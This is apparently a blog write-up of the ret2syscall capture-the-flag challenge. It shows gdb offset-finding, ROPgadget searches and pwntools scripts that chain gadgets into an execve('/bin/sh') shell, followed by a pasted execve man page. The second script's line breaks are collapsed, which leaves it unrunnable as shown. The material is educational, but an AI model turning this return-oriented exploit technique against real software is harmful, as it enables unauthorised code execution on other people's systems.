ROP----The Solution For Ret2syscall

APP:

  https://github.com/ctf-wiki/ctf-challenges/raw/master/pwn/stackoverflow/ret2syscall/bamboofox-ret2syscall/rop

TOOLS:

  Gef plugin of gdb       ROPgadget     

Solution:

1. Check the length of input buffer.

# gdb rop

gef➤  checksec rop                                  //Check if the binary has been protected.
[+] checksec for '/root/ROP/rop'
Canary                        : No
NX                            : Yes                  //NX protection has been enabled,we need rop to exploit it.
PIE                           : No
Fortify                       : No
RelRO                         : Partial
gef➤  disassemble main
Dump of assembler code for function main:
   0x08048e24 <+0>:     push   ebp
   0x08048e25 <+1>:     mov    ebp,esp
   0x08048e27 <+3>:     and    esp,0xfffffff0
   0x08048e2a <+6>:     add    esp,0xffffff80
   0x08048e2d <+9>:     mov    eax,ds:0x80ea4c0
   0x08048e32 <+14>:    mov    DWORD PTR [esp+0xc],0x0
   0x08048e3a <+22>:    mov    DWORD PTR [esp+0x8],0x2
   0x08048e42 <+30>:    mov    DWORD PTR [esp+0x4],0x0
   0x08048e4a <+38>:    mov    DWORD PTR [esp],eax
   0x08048e4d <+41>:    call   0x804f960 <setvbuf>
   0x08048e52 <+46>:    mov    eax,ds:0x80ea4c4
   0x08048e57 <+51>:    mov    DWORD PTR [esp+0xc],0x0
   0x08048e5f <+59>:    mov    DWORD PTR [esp+0x8],0x1
   0x08048e67 <+67>:    mov    DWORD PTR [esp+0x4],0x0
   0x08048e6f <+75>:    mov    DWORD PTR [esp],eax
   0x08048e72 <+78>:    call   0x804f960 <setvbuf>
   0x08048e77 <+83>:    mov    DWORD PTR [esp],0x80be410
   0x08048e7e <+90>:    call   0x804f7e0 <puts>
   0x08048e83 <+95>:    mov    DWORD PTR [esp],0x80be43b
   0x08048e8a <+102>:   call   0x804f7e0 <puts>
   0x08048e8f <+107>:   lea    eax,[esp+0x1c]
   0x08048e93 <+111>:   mov    DWORD PTR [esp],eax
   0x08048e96 <+114>:   call   0x804f650 <gets>
   0x08048e9b <+119>:   mov    eax,0x0
   0x08048ea0 <+124>:   leave  
   0x08048ea1 <+125>:   ret    
End of assembler dump.
gef➤  b * 0x08048ea1                                      //Create a breakpoint at return address for main function.
Breakpoint 1 at 0x8048ea1: file rop.c, line 15.
gef➤  pattern create 128                                  //Generate a payload string.
[+] Generating a pattern of 128 bytes
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaab
[+] Saved as '$_gef0'

gef➤  r
Starting program: /root/ROP/rop 
This time, no system() and NO SHELLCODE!!!
What do you plan to do?
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaab

Breakpoint 1, 0x08048ea1 in main () at rop.c:18
[+] Searching 'gaab'
[+] Found at offset 124 (big-endian search) 
gef➤  ni                                                  //Step over to next address,check the return infomation for 'ret' opcode.
0x62616164 in ?? ()
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────── registers ────
$eax   : 0x0       
$ebx   : 0x080481a8  →  <_init+0> push ebx
$ecx   : 0xfbad2288
$edx   : 0x080eb4e0  →  0x00000000
$esp   : 0xffffd360  →  "eaabfaabgaab"
$ebp   : 0x62616163 ("caab"?)
$esi   : 0x0       
$edi   : 0x080ea00c  →  0x08067b10  →  <__stpcpy_sse2+0> mov edx, DWORD PTR [esp+0x4]
$eip   : 0x62616164 ("daab"?)                                   //The stack pointer has been here,it has been overwriten by "daab".
$eflags: [zero carry PARITY adjust SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 
─────────────────────────── stack ────
0xffffd360│+0x0000: "eaabfaabgaab"       ← $esp
0xffffd364│+0x0004: "faabgaab"
0xffffd368│+0x0008: "gaab"
0xffffd36c│+0x000c: 0x00000000
0xffffd370│+0x0010: 0x00000000
0xffffd374│+0x0014: 0x080481a8  →  <_init+0> push ebx
0xffffd378│+0x0018: 0x00000000
0xffffd37c│+0x001c: 0x080ea00c  →  0x08067b10  →  <__stpcpy_sse2+0> mov edx, DWORD PTR [esp+0x4]
────────────────────────code:x86:32 ────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x62616164
────────────────────────threads ────
[#0] Id 1, Name: "rop", stopped, reason: SINGLE STEP
─────────────────────trace ────
gef➤  pattern search daab                //Check the offset for eip stack pointer,we could be ensure that the length of input buffer is 112.
[+] Searching 'daab'
[+] Found at offset 112 (big-endian search) 

2. Overwrite the return address by system calling.
It can be seen that this is still a stack overflow. Similar to the previous approach, we can get a program input length of buffer is 112. This time, because we can't directly use a piece of code in the program or fill in the code to get the shell, we use the gadgets in the program to get the shell, and the corresponding shell acquisition uses the system call.
To put it simply, as long as we put the parameters of the system call corresponding to the get shell into the corresponding registers, we can execute the corresponding system call by executing int 0x80. For example, here we use the following system call to get the shell
execve("/bin/sh",NULL,NULL)
1> Set system calling flag to 0xb,mov eax,0xb.
2> First parameter is a address for "/bin/sh",or any other address which could execute "/bin/sh".
3> Second parameter is ecx's value,set it to 0,mov ecx,0x0
4> Third parameter is edx's value,
set it to 0,mov edx,0x0

 And how do we control the values of these registers? Here you need to use gadgets. For example, if the top of the stack is now 10, then if pop eax is executed at this time, the value of eax is now 10. But we can't expect a continuous code to control the corresponding registers at the same time, so we need a piece of control, which is why we use ret at the end of the gadgets to control the execution flow again. To find a way to gadgets, we can use the ropgadgets tool.

 

First, let's look for gadgets that control eax. 

# ROPgadget --binary rop --only 'pop|ret' | grep 'eax'

0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x080bb196 : pop eax ; ret
0x0807217a : pop eax ; ret 0x80e
0x0804f704 : pop eax ; ret 3
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret

You can see that all of the above can control eax, and I choose the second one as gadgets.
Similarly, we can get gadgets that control other registers.
 

# ROPgadget --binary rop --only 'pop|ret' | grep 'ebx'

0x0809dde2 : pop ds ; pop ebx ; pop esi ; pop edi ; ret
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0805b6ed : pop ebp ; pop ebx ; pop esi ; pop edi ; ret
0x0809e1d4 : pop ebx ; pop ebp ; pop esi ; pop edi ; ret
0x080be23f : pop ebx ; pop edi ; ret
0x0806eb69 : pop ebx ; pop edx ; ret
0x08092258 : pop ebx ; pop esi ; pop ebp ; ret
0x0804838b : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080a9a42 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x10
0x08096a26 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x14
0x08070d73 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0xc
0x0805ae81 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 4
0x08049bfd : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 8
0x08048913 : pop ebx ; pop esi ; pop edi ; ret
0x08049a19 : pop ebx ; pop esi ; pop edi ; ret 4
0x08049a94 : pop ebx ; pop esi ; ret
0x080481c9 : pop ebx ; ret
0x080d7d3c : pop ebx ; ret 0x6f9
0x08099c87 : pop ebx ; ret 8
0x0806eb91 : pop ecx ; pop ebx ; ret
0x0806336b : pop edi ; pop esi ; pop ebx ; ret
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0806eb68 : pop esi ; pop ebx ; pop edx ; ret
0x0805c820 : pop esi ; pop ebx ; ret
0x08050256 : pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0807b6ed : pop ss ; pop ebx ; ret

Here i choose
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret

 This can directly control the other three registers.
In addition, we need to get the address corresponding to the /bin/sh string.

ROPgadget --binary rop --string '/bin/sh' 

Strings information
============================================================
0x080be408 : /bin/sh

You can find the corresponding address, in addition, there is an address of int 0x80, as follows
# ROPgadget --binary rop --only 'int'
Gadgets information
============================================================
0x08049421 : int 0x80
0x080938fe : int 0xbb
0x080869b5 : int 0xf6
0x0807b4d4 : int 0xfc

Unique gadgets found: 4

At the same time, I also found the corresponding address.
The following is the corresponding payload, where 0xb is the system call number corresponding to execve

#!/usr/bin/env python
from pwn import *

sh = process('./rop')

pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int_0x80 = 0x08049421
binsh = 0x80be408
payload = flat(
    ['A' * 112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80])
sh.sendline(payload)
sh.interactive()


We could generate a automatic script like below:
#!/usr/bin/env python2

from pwn import *

sh = process('rop')
elf = ELF('rop')

def pwn(sh,payload):
sh.recvuntil('?') sh.sendline(payload) sh.interactive() rop = ROP(elf) ''' execve("/bin/sh",NULL,NULL) mov eax,0xb mov ecx,0x0 mov edx,0x0 ebx --> address for sh or /bin/sh '''

ret_eax = rop.find_gadget(['pop eax','ret'])[0] ret_edx_ecx_ebx = rop.find_gadget(['pop edx','pop ecx','pop ebx','ret'])[0] ret_int = rop.find_gadget(['int 0x80'])[0] bin_sh = elf.search('/bin/sh').next() payload = flat(['a'*112,ret_eax,0xb,ret_edx_ecx_ebx,0,0,bin_sh,ret_int]) pwn(sh,payload)

 

 

Reference:

How to Run the Attack Code

1> Place the code in the buffer

2> Overflow the buffer

3> Overwrite the return address 

How to call execve

1> Have the "/bin/sh" in memory.

2> Have the "/bin/sh" in memory followed by a null long word.

3> Copy 0xb into the eax register (al low byte).

4> Copy the address of the string "/bin/sh" into ebx

5> Copy the address of the address of the string "/bin/sh" into ecx.

6> Copy the address of the null long word into edx

7> Execute the int 0x80 instruction

 

┌─[root@parrot]─[~/ROP]
└──╼ #man execve 
EXECVE(2)                         Linux Programmer's Manual                         EXECVE(2)

NAME
       execve - execute program

SYNOPSIS
       #include <unistd.h>

       int execve(const char *filename, char *const argv[],
                  char *const envp[]);

DESCRIPTION
       execve() executes the program pointed to by filename.  This causes the program that is
       currently being run by the calling process to be replaced with  a  new  program,  with
       newly initialized stack, heap, and (initialized and uninitialized) data segments.

       filename  must  be either a binary executable, or a script starting with a line of the
       form:

           #! interpreter [optional-arg]

       For details of the latter case, see "Interpreter scripts" below.

       argv is an array of argument strings passed to the new program.   By  convention,  the
       first of these strings (i.e., argv[0]) should contain the filename associated with the
       file being executed.  envp  is  an  array  of  strings,  conventionally  of  the  form
       key=value,  which are passed as environment to the new program.  The argv and envp ar‐
       rays must each include a null pointer at the end of the array.

       The argument vector and environment can be accessed by the called program's main func‐
       tion, when it is defined as:

           int main(int argc, char *argv[], char *envp[])

       Note,  however, that the use of a third argument to the main function is not specified
       in POSIX.1; according to POSIX.1, the environment should be accessed via the  external
       variable environ(7).

       execve()  does  not  return  on success, and the text, initialized data, uninitialized
       data (bss), and stack of the calling process are overwritten according to the contents
       of the newly loaded program.

       If  the  current program is being ptraced, a SIGTRAP signal is sent to it after a suc‐
       cessful execve().

       If the set-user-ID bit is set on the program file pointed to by filename, then the ef‐
       fective  user ID of the calling process is changed to that of the owner of the program
       file.  Similarly, when the set-group-ID bit of the program file is set  the  effective
       group ID of the calling process is set to the group of the program file.

       The  aforementioned  transformations of the effective IDs are not performed (i.e., the
       set-user-ID and set-group-ID bits are ignored) if any of the following is true:

       *  the no_new_privs attribute is set for the calling thread (see prctl(2));

       *  the underlying filesystem is mounted nosuid (the MS_NOSUID flag for mount(2)); or

       *  the calling process is being ptraced.

       The capabilities of the program file (see capabilities(7)) are also ignored if any  of
       the above are true.

       The  effective  user  ID of the process is copied to the saved set-user-ID; similarly,
       the effective group ID is copied to the saved set-group-ID.  This copying takes  place
       after  any effective ID changes that occur because of the set-user-ID and set-group-ID
       mode bits.

       The process's real UID and real GID, as well its  supplementary  group  IDs,  are  un‐
       changed by a call to execve().

       If  the executable is an a.out dynamically linked binary executable containing shared-
       library stubs, the Linux dynamic linker ld.so(8) is called at the start  of  execution
       to bring needed shared objects into memory and link the executable with them.

       If the executable is a dynamically linked ELF executable, the interpreter named in the
       PT_INTERP segment is used to load the needed shared objects.  This interpreter is typ‐
       ically /lib/ld-linux.so.2 for binaries linked with glibc (see ld-linux.so(8)).

       All process attributes are preserved during an execve(), except the following:

       *  The  dispositions  of  any  signals  that are being caught are reset to the default
          (signal(7)).

       *  Any alternate signal stack is not preserved (sigaltstack(2)).

       *  Memory mappings are not preserved (mmap(2)).

       *  Attached System V shared memory segments are detached (shmat(2)).

       *  POSIX shared memory regions are unmapped (shm_open(3)).

       *  Open POSIX message queue descriptors are closed (mq_overview(7)).

       *  Any open POSIX named semaphores are closed (sem_overview(7)).

       *  POSIX timers are not preserved (timer_create(2)).

       *  Any open directory streams are closed (opendir(3)).

       *  Memory locks are not preserved (mlock(2), mlockall(2)).

       *  Exit handlers are not preserved (atexit(3), on_exit(3)).

       *  The floating-point environment is reset to the default (see fenv(3)).

       The process attributes in the preceding list are all specified in POSIX.1.   The  fol‐
       lowing Linux-specific process attributes are also not preserved during an execve():

       *  The prctl(2) PR_SET_DUMPABLE flag is set, unless a set-user-ID or set-group ID pro‐
          gram is being executed, in which case it is cleared.

       *  The prctl(2) PR_SET_KEEPCAPS flag is cleared.

       *  (Since Linux 2.4.36 / 2.6.23) If a set-user-ID or set-group-ID program is being ex‐
          ecuted,  then  the  parent  death  signal  set by prctl(2) PR_SET_PDEATHSIG flag is
          cleared.

       *  The process name, as set by prctl(2) PR_SET_NAME (and displayed by ps -o comm),  is
          reset to the name of the new executable file.

       *  The SECBIT_KEEP_CAPS securebits flag is cleared.  See capabilities(7).

       *  The termination signal is reset to SIGCHLD (see clone(2)).

       *  The  file  descriptor table is unshared, undoing the effect of the CLONE_FILES flag
          of clone(2).

       Note the following further points:

       *  All threads other than the calling thread are destroyed during  an  execve().   Mu‐
          texes, condition variables, and other pthreads objects are not preserved.

       *  The equivalent of setlocale(LC_ALL, "C") is executed at program start-up.

       *  POSIX.1  specifies  that the dispositions of any signals that are ignored or set to
          the default are left unchanged.  POSIX.1 specifies one exception: if SIGCHLD is be‐
          ing ignored, then an implementation may leave the disposition unchanged or reset it
          to the default; Linux does the former.

       *  Any  outstanding   asynchronous   I/O   operations   are   canceled   (aio_read(3),
          aio_write(3)).

       *  For the handling of capabilities during execve(), see capabilities(7).

       *  By default, file descriptors remain open across an execve().  File descriptors that
          are marked close-on-exec are closed; see the description of FD_CLOEXEC in fcntl(2).
          (If  a  file  descriptor is closed, this will cause the release of all record locks
          obtained on the underlying file  by  this  process.   See  fcntl(2)  for  details.)
          POSIX.1 says that if file descriptors 0, 1, and 2 would otherwise be closed after a
          successful execve(), and the process would gain privilege because  the  set-user-ID
          or  set-group_ID mode bit was set on the executed file, then the system may open an
          unspecified file for each of these file descriptors.  As a  general  principle,  no
          portable  program,  whether privileged or not, can assume that these three file de‐
          scriptors will remain closed across an execve().

   Interpreter scripts
       An interpreter script is a text file that has execute  permission  enabled  and  whose
       first line is of the form:

           #! interpreter [optional-arg]

       The  interpreter must be a valid pathname for an executable file.  If the filename ar‐
       gument of execve() specifies an interpreter script, then interpreter will  be  invoked
       with the following arguments:

           interpreter [optional-arg] filename arg...

       where  arg...   is  the  series  of words pointed to by the argv argument of execve(),
       starting at argv[1].

       For portable use, optional-arg should either be absent, or be specified  as  a  single
       word (i.e., it should not contain white space); see NOTES below.

       Since  Linux  2.6.28,  the  kernel  permits the interpreter of a script to itself be a
       script.  This permission is recursive, up to a limit of four recursions, so  that  the
       interpreter may be a script which is interpreted by a script, and so on.

   Limits on size of arguments and environment
       Most  UNIX implementations impose some limit on the total size of the command-line ar‐
       gument (argv) and environment (envp) strings that may be  passed  to  a  new  program.
       POSIX.1  allows  an  implementation to advertise this limit using the ARG_MAX constant
       (either  defined  in  <limits.h>  or  available   at   run   time   using   the   call
       sysconf(_SC_ARG_MAX)).

       On Linux prior to kernel 2.6.23, the memory used to store the environment and argument
       strings was limited to 32 pages (defined by the kernel  constant  MAX_ARG_PAGES).   On
       architectures with a 4-kB page size, this yields a maximum size of 128 kB.

       On  kernel  2.6.23 and later, most architectures support a size limit derived from the
       soft RLIMIT_STACK resource limit (see getrlimit(2)) that is in force at  the  time  of
       the  execve()  call.  (Architectures with no memory management unit are excepted: they
       maintain the limit that was in effect before kernel 2.6.23.)  This change allows  pro‐
       grams  to  have  a  much larger argument and/or environment list.  For these architec‐
       tures, the total size is limited to 1/4 of the  allowed  stack  size.   (Imposing  the
       1/4-limit  ensures  that  the  new  program always has some stack space.)  Since Linux
       2.6.25, the kernel places a floor of 32 pages on this size limit, so that,  even  when
       RLIMIT_STACK is set very low, applications are guaranteed to have at least as much ar‐
       gument and environment space as was provided by Linux 2.6.23 and earlier.  (This guar‐
       antee  was  not  provided  in  Linux  2.6.23 and 2.6.24.)  Additionally, the limit per
       string is 32 pages (the kernel constant MAX_ARG_STRLEN), and  the  maximum  number  of
       strings is 0x7FFFFFFF.

RETURN VALUE
       On success, execve() does not return, on error -1 is returned, and errno is set appro‐
       priately.

ERRORS
       E2BIG  The total number of bytes in the environment (envp) and argument list (argv) is
              too large.

       EACCES Search  permission  is  denied on a component of the path prefix of filename or
              the name of a script interpreter.  (See also path_resolution(7).)

       EACCES The file or a script interpreter is not a regular file.

       EACCES Execute permission is denied for the file or a script or ELF interpreter.

       EACCES The filesystem is mounted noexec.

       EAGAIN (since Linux 3.1)
              Having changed its real UID using one of the set*uid() calls, the  caller  was—
              and is now still—above its RLIMIT_NPROC resource limit (see setrlimit(2)).  For
              a more detailed explanation of this error, see NOTES.

       EFAULT filename or one of the pointers in the vectors argv or envp points outside your
              accessible address space.

       EINVAL An ELF executable had more than one PT_INTERP segment (i.e., tried to name more
              than one interpreter).

       EIO    An I/O error occurred.

       EISDIR An ELF interpreter was a directory.

       ELIBBAD
              An ELF interpreter was not in a recognized format.

       ELOOP  Too many symbolic links were encountered in resolving filename or the name of a
              script or ELF interpreter.

       ELOOP  The  maximum recursion limit was reached during recursive script interpretation
              (see "Interpreter scripts", above).  Before Linux 3.8, the error  produced  for
              this case was ENOEXEC.

       EMFILE The per-process limit on the number of open file descriptors has been reached.

       ENAMETOOLONG
              filename is too long.

       ENFILE The system-wide limit on the total number of open files has been reached.

       ENOENT The  file  filename  or a script or ELF interpreter does not exist, or a shared
              library needed for the file or interpreter cannot be found.

       ENOEXEC
              An executable is not in a recognized format, is for the wrong architecture,  or
              has some other format error that means it cannot be executed.

       ENOMEM Insufficient kernel memory was available.

       ENOTDIR
              A  component  of  the path prefix of filename or a script or ELF interpreter is
              not a directory.

       EPERM  The filesystem is mounted nosuid, the user is not the superuser, and  the  file
              has the set-user-ID or set-group-ID bit set.

       EPERM  The process is being traced, the user is not the superuser and the file has the
              set-user-ID or set-group-ID bit set.

       EPERM  A "capability-dumb" applications would not obtain the full set of permitted ca‐
              pabilities granted by the executable file.  See capabilities(7).

       ETXTBSY
              The specified executable was open for writing by one or more processes.

CONFORMING TO
       POSIX.1-2001,  POSIX.1-2008,  SVr4,  4.3BSD.  POSIX does not document the #! behavior,
       but it exists (with some variations) on other UNIX systems.

NOTES
       One sometimes sees execve() (and the related functions described in exec(3)) described
       as  "executing  a new process" (or similar).  This is a highly misleading description:
       there is no new process; many attributes of the calling process remain  unchanged  (in
       particular, its PID).  All that execve(2) does is arrange for an existing process (the
       calling process) to execute a new program.

       Set-user-ID and set-group-ID processes can not be ptrace(2)d.

       The result of mounting a filesystem nosuid varies across Linux kernel  versions:  some
       will refuse execution of set-user-ID and set-group-ID executables when this would give
       the user powers she did not have already (and return EPERM), some will just ignore the
       set-user-ID and set-group-ID bits and exec() successfully.

       On  Linux,  argv  and envp can be specified as NULL.  In both cases, this has the same
       effect as specifying the argument as a pointer to a  list  containing  a  single  null
       pointer.   Do  not  take advantage of this nonstandard and nonportable misfeature!  On
       many other UNIX systems, specifying argv as NULL will result  in  an  error  (EFAULT).
       Some other UNIX systems treat the envp==NULL case the same as Linux.

       POSIX.1  says that values returned by sysconf(3) should be invariant over the lifetime
       of a process.  However,  since  Linux  2.6.23,  if  the  RLIMIT_STACK  resource  limit
       changes,  then the value reported by _SC_ARG_MAX will also change, to reflect the fact
       that the limit on space for holding command-line arguments and  environment  variables
       has changed.

       In  most cases where execve() fails, control returns to the original executable image,
       and the caller of execve() can then handle the error.  However, in (rare) cases (typi‐
       cally  caused  by resource exhaustion), failure may occur past the point of no return:
       the original executable image has been torn down, but the new image could not be  com‐
       pletely built.  In such cases, the kernel kills the process with a SIGKILL signal.

   Interpreter scripts
       A  maximum  line  length  of 127 characters is allowed for the first line in an inter‐
       preter script.

       The semantics of the optional-arg argument of an interpreter script vary across imple‐
       mentations.  On Linux, the entire string following the interpreter name is passed as a
       single argument to the interpreter, and this string can include white space.  However,
       behavior  differs  on  some  other systems.  Some systems use the first white space to
       terminate optional-arg.  On some systems, an interpreter script can have multiple  ar‐
       guments, and white spaces in optional-arg are used to delimit the arguments.

       Linux ignores the set-user-ID and set-group-ID bits on scripts.

   execve() and EAGAIN
       A  more detailed explanation of the EAGAIN error that can occur (since Linux 3.1) when
       calling execve() is as follows.

       The EAGAIN error can occur when a preceding call to setuid(2), setreuid(2), or  setre‐
       suid(2)  caused  the real user ID of the process to change, and that change caused the
       process to exceed its RLIMIT_NPROC resource limit (i.e., the number of  processes  be‐
       longing  to  the  new  real UID exceeds the resource limit).  From Linux 2.6.0 to 3.0,
       this caused the set*uid() call to fail.  (Prior to 2.6, the resource limit was not im‐
       posed on processes that changed their user IDs.)

       Since  Linux  3.1,  the scenario just described no longer causes the set*uid() call to
       fail, because it too often led to security holes where buggy applications didn't check
       the  return  status  and assumed that—if the caller had root privileges—the call would
       always succeed.  Instead, the set*uid() calls now successfully change  the  real  UID,
       but  the  kernel  sets  an  internal  flag,  named PF_NPROC_EXCEEDED, to note that the
       RLIMIT_NPROC resource limit has been exceeded.  If the PF_NPROC_EXCEEDED flag  is  set
       and  the  resource  limit is still exceeded at the time of a subsequent execve() call,
       that  call  fails  with  the  error  EAGAIN.   This  kernel  logic  ensures  that  the
       RLIMIT_NPROC  resource  limit is still enforced for the common privileged daemon work‐
       flow—namely, fork(2) + set*uid() + execve().

       If the resource limit was not still exceeded at the time of the execve() call (because
       other  processes  belonging to this real UID terminated between the set*uid() call and
       the execve() call), then  the  execve()  call  succeeds  and  the  kernel  clears  the
       PF_NPROC_EXCEEDED  process  flag.   The  flag  is also cleared if a subsequent call to
       fork(2) by this process succeeds.

   Historical
       With UNIX V6, the argument list of an exec() call was ended by 0, while  the  argument
       list  of  main was ended by -1.  Thus, this argument list was not directly usable in a
       further exec() call.  Since UNIX V7, both are NULL.

EXAMPLE
       The following program is designed to be execed by the second program below.   It  just
       echoes its command-line arguments, one per line.

           /* myecho.c */

           #include <stdio.h>
           #include <stdlib.h>

           int
           main(int argc, char *argv[])
           {
               int j;

               for (j = 0; j < argc; j++)
                   printf("argv[%d]: %s\n", j, argv[j]);

               exit(EXIT_SUCCESS);
           }

       This program can be used to exec the program named in its command-line argument:

           /* execve.c */

           #include <stdio.h>
           #include <stdlib.h>
           #include <unistd.h>

           int
           main(int argc, char *argv[])
           {
               char *newargv[] = { NULL, "hello", "world", NULL };
               char *newenviron[] = { NULL };

               if (argc != 2) {
                   fprintf(stderr, "Usage: %s <file-to-exec>\n", argv[0]);
                   exit(EXIT_FAILURE);
               }

               newargv[0] = argv[1];

               execve(argv[1], newargv, newenviron);
               perror("execve");   /* execve() returns only on error */
               exit(EXIT_FAILURE);
           }

       We can use the second program to exec the first as follows:

           $ cc myecho.c -o myecho
           $ cc execve.c -o execve
           $ ./execve ./myecho
           argv[0]: ./myecho
           argv[1]: hello
           argv[2]: world

       We  can also use these programs to demonstrate the use of a script interpreter.  To do
       this we create a script whose "interpreter" is our myecho program:

           $ cat > script
           #!./myecho script-arg
           ^D
           $ chmod +x script

       We can then use our program to exec the script:

           $ ./execve ./script
           argv[0]: ./myecho
           argv[1]: script-arg
           argv[2]: ./script
           argv[3]: hello
           argv[4]: world

SEE ALSO
       chmod(2), execveat(2), fork(2), get_robust_list(2), ptrace(2),  execl(3),  fexecve(3),
       getopt(3), system(3), credentials(7), environ(7), path_resolution(7), ld.so(8)

COLOPHON
       This  page  is  part of release 4.16 of the Linux man-pages project.  A description of
       the project, information about reporting bugs, and the latest version  of  this  page,
       can be found at https://www.kernel.org/doc/man-pages/.

Linux                                     2018-04-30                                EXECVE(2)

 



 

 

posted @ 2019-06-05 19:13  heycomputer  阅读(715)  评论(0编辑  收藏  举报